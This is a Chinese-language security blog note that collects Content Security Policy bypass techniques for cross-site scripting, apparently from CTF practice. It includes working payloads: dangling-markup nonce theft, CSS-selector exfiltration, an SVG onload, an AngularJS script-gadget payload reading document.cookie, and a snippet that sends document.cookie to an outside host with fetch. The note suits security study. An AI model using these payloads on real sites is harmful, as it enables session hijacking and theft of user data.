0%

csp_绕过_总结.md

简介

内容安全策略,https://developer.mozilla.org/zh-CN/docs/Web/HTTP/CSP,提供xss攻击的保护

服务器返回的http中带着 Content-Security-Policy HTTP头部 ,或者html页面中带着

1
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">

csp策略主要指定跨域内嵌资源如script,img的访问策略

其中iframe的策略也可以由x-frame-options头指定

绕过方法

可以使用CSP Evaluator进行检测

我们一般关注script的设置

配置不严格导致绕过

有可利用的302跳转

如果csp策略为

Content-Security-Policy: default-src ‘self’;script-src http://127.0.0.1/a/ ;

如果a目录下有一个302跳转,则可以加载src同域名的其他目录的脚本,这个是一个很奇怪的特性

比如csp策略是这样的,q目录下有一个任意302跳转

1
2
header("Content-Security-Policy: default-src 'self';script-src http://www.baidu.com/c/ http://127.0.0.1:7000/q/; ");?>

则可以加载http://www.baidu.com/或者http://127.0.0.1:7000/下的任意脚本,忽略的c和q的目录限制,但是不能加载其他域,比如www.google.com就不可以利用302跳转加载

unsafe-inline

如果有script开启了unsafe-inline,那就可以直接行内执行js

object-src

如果object-src限制不严格,可以利用pdf执行javascript,但是这个有限制,不能弹cookie

1
<embed width="100%" height="100%" src="//ip/evil.pdf"></embed>

生成恶意的pdf文件https://blog.csdn.net/microzone/article/details/52850623

绕过csp设置

csp策略是基于单个html页面的,策略来自http头或者meta标签,而同源页面之间是可以相互操控dom的,这个不受csp的限制

利用同源页面

如果有A,B两个同源页面,A配置了csp,B没有配置,则可以利用没有配置的B,xss漏洞操控A的dom进行攻击

如果Web构建为nginx+Django,csp策略的配置来自Django的中间件,则nginx直接返回的静态文件,就没有csp配置的

实际情况可能更加复杂,比如有一个受限的xss点,没有(),并且有csp限制,则可以写入a标签,然后利用`执行打开新的没有csp的同源窗口,在向dom写入script ,绕过xss执行的受限

利用其他漏洞改掉配置信息

csp的配置来自http请求头,如果网站有CRLF注入,则可以把csp挤入请求体,让csp直接无效

参考

https://github.com/Lou00/HCTF2018_Bottle

script-src的几个绕过姿势

script-src nonce

如果script-src 配置了nonce

利用base-url

如果csp策略为

1
default-src 'self'; script-src 'nonce-test

没有特意配置base-uri为none,并且可控输入点之下有,script标签,例如场景如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<html>
<head>
<title>CSP Test</title>
</head>
<body>
<?php
if (isset($_GET['w'])) {
echo "Your GET content:".@$_GET['w'];
}//
?>
<xxx></xxx>
<script src='a.js' nonce='secret'>
//do some thing
</script>
</body>

则可以通过指定base为自己的服务器,并且 在根目录a.js写入恶意payload,进行攻击

不完整的script
1
2
3
4
5
6
7
8
9
10
11
12
13
14
<html>
<head>
<title>CSP Test</title>
</head>
<body>
<?php
if (isset($_GET['w'])) {
echo "Your GET content:".@$_GET['w'];
}//
?>
<script src='a.js' nonce='secret'>
//do some thing
</script>
</body>

如果一个输出点,恰好在用于nonce的前方,

则可以输入进入绕过

1
<script src=//ip/a.js a=

因为输入缺失>,所以浏览器会向后,找到第一个>并且把中间的字符作为a的属性值,这样攻击者插入的script就拥有了一个nonce,从而被加载执行.

1
2
<script src=//ip/a.js a=
<script src='a.js' nonce='secret'>
静态的dom xss

如果被攻击的站点存在一个纯静态的dom xss,也可以被攻击

参考

http://sirdarckcat.blogspot.jp/2016/12/how-to-bypass-csp-nonces-with-dom-xss.html

中文版:https://paper.seebug.org/166/

三个静态dom的例子:

  1. 持久型 DOM XSS,当攻击者可以强制将页面跳转至易受攻击的页面,并且 payload 不包括在缓存的响应中(需要提取)。
  2. 包含第三方 HTML 代码的 DOM XSS 漏洞(例如,fetch(location.pathName).then(r=>r.text()).then(t=>body.innerHTML=t);)
  3. XSS payload 存在于 location.hash 中的 DOM XSS 漏洞(例如 https://victim/xss#!foo?payload=

如果目标站点存在纯静态的dom xss,并且目标网站开启了缓存,

因为location.hash的改变,并不会让浏览器更新缓存,可以通过dom xss,先利用css选择器窃取nonce数据,然后插入带有nonce的script标签,造成js代码执行.

1
2
3
4
*[attribute^="a"]{background:url("record?match=a")}
*[attribute^="b"]{background:url("record?match=b")}
*[attribute^="c"]{background:url("record?match=c")}
[...]

script-src:self

host JSONP

如果script允许的源存在jsonp,直接引入,导致js执行

user uploaded files.

上传文件,上传后恶意js后,加载同样可以绕过

也可以上传svg可以直接在里面插入script执行

1
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(URL)"/>

,同样的还有HITCON 2020的一个trick ,在apache下上传var文件

1
2
3
4
5
6
7
8
9
Content-language: en
Content-type: text/html
Body:----foo----

<script>
fetch('hxxp://orange.tw/?' + escape(document.cookie))
</script>

----foo---

利用script gadgets

参照谷歌2017 Blackhat的议题,利用一些框架的特殊标签,直接执行代码,

利用条件一般为页面引入了这些js框架,或者设置了一下cdn为可信源,攻击者通过cdn引入这些框架,如https://paper.seebug.org/855/中的,配置了cdnjs.cloudflare.com为可信源,利用cdn引入angular,直接执行

1
2
3
4
5
<script src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.min.js>
</script>
<div ng-app>
{{constructor.constructor('alert(document.cookie)')()}}
</div>

https://www.blackhat.com/docs/us-17/thursday/us-17-Lekies-Dont-Trust-The-DOM-Bypassing-XSS-Mitigations-Via-Script-Gadgets.pdf

这里是可利用的框架列表

https://github.com/google/security-research-pocs/blob/master/script-gadgets/bypasses.md

数据带外的方法

  • 利用location跳转数据带外

  • windwo.open可以直接数据带外

  • 利用link标签带外

    这个比较老了,比较新版的浏览器已经不可以了

数据窃取的姿势

利用css

利用css选择器匹配属性,如果匹配到了会发送请求,多次匹配然后窃取数据

1
2
3
4
*[attribute^="a"]{background:url("record?match=a")}
*[attribute^="b"]{background:url("record?match=b")}
*[attribute^="c"]{background:url("record?match=c")}
[...]

利用不完全的标签

如果csp配置了

1
header("Content-Security-Policy: default-src 'self';script-src 'self'; img-src *;

imgsrc为*

1
2
3
4
5
6
7
<?php
if (isset($_GET['cl4y'])) {
echo "Your GET content:".@$_GET['w'];
}//
?>
<h1>flag{serct}</h1>
<h2 id="id">3</h2>

则可以通过插入<img src=//ip/

而窃取数据

Welcome to my other publishing channels